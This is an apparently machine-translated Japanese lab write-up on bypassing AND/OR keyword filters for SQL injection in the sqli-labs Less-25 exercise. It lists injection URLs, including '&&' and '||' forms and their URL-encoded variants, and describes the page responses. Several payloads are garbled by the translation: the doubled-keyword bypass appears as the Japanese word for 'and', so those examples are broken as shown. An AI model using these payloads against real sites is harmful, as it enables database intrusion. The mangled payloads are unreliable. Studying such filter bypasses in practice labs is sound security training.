And and or の役割
AND は、両方の条件が同時に満たされることを意味します。たとえば、文字/数字をテストするには、and 1=1 および and 1=2 のステートメントが使用されます。
または、条件を満たすには十分です。たとえば、 or ステートメントは、エラーを報告して注入するときに使用されます。
バイパス方式
1.ユースケースバイパス
例: ?id=1' および D 1=1 --+
2.上書きバイパス
例: ?id=1' an and d 1=1 --+
3. and を && に置き換え、 or を || に置き換えます。
例: ?id=1' && 1=1 --+
?id=1' || 1=1 --+
&& と || で認識できない場合があるため、URL にトランスコードする必要があります。
例?id=1' && 1=1 --+ トランスコード後?id=1' %26%26 1=1 --+
?id=1' || 1=1 --+ トランスコード後?id =1' %7C%7C 1=1 --+
実証事例
sqli-labs-master/Less-25
ソースコードを分析する
1. preg_replace() 関数を使用して、$id 変数のパラメーターを確認します. このパラメーターに文字 '/or/' が含まれている場合は、i を使用して小文字に変換し、一致させます。入力は or または OR で、最終的に or になります。次に、空に置き換えます
2. preg_replace() 関数を使用して、$id 変数のパラメーターを確認します. このパラメーターに '/AND/' の文字列が表示されている場合は、i を使用して小文字に変換し、一致するようにします。入力は AND or and であり、最終的に and になります。次に、空に置き換えます
パラメータを入力するだけ?id=1
通常ページ
終了方法を確認するために、パラメーターの後に '一重引用符をスローします。
ページエコー
''1'' リミット 0,1'
'1 ' ' リミット 0,1
赤い部分が当方の入力で、閉じ方はシングルクォーテーションで決めます
url :?id=1'and 1=1 --+
The page report an error and echoes '1=1 -- ' LIMIT 0,1' at line 1 . 入力した と が空に置き換えられていることがわかります。
レプリケーションを使用してバイパスする
url:?id=1' および 1=1 --+
通常ページ
url:?id=1' および 1=2 --+
ページでエラーが報告されました。正常にバイパスされました
入力したステートメントがデータベースに取り込まれ、実行されたことを説明します
&& を使用してバイパスします
ページでエラーが報告され、入力した && が認識されず、URL エンコード変換が実行されました
URL: ?id=1' %26%26 1=1 --+
通常ページ
URL: ?id=1' %26%26 1=2 --+
ページ エラーは正常にバイパスされました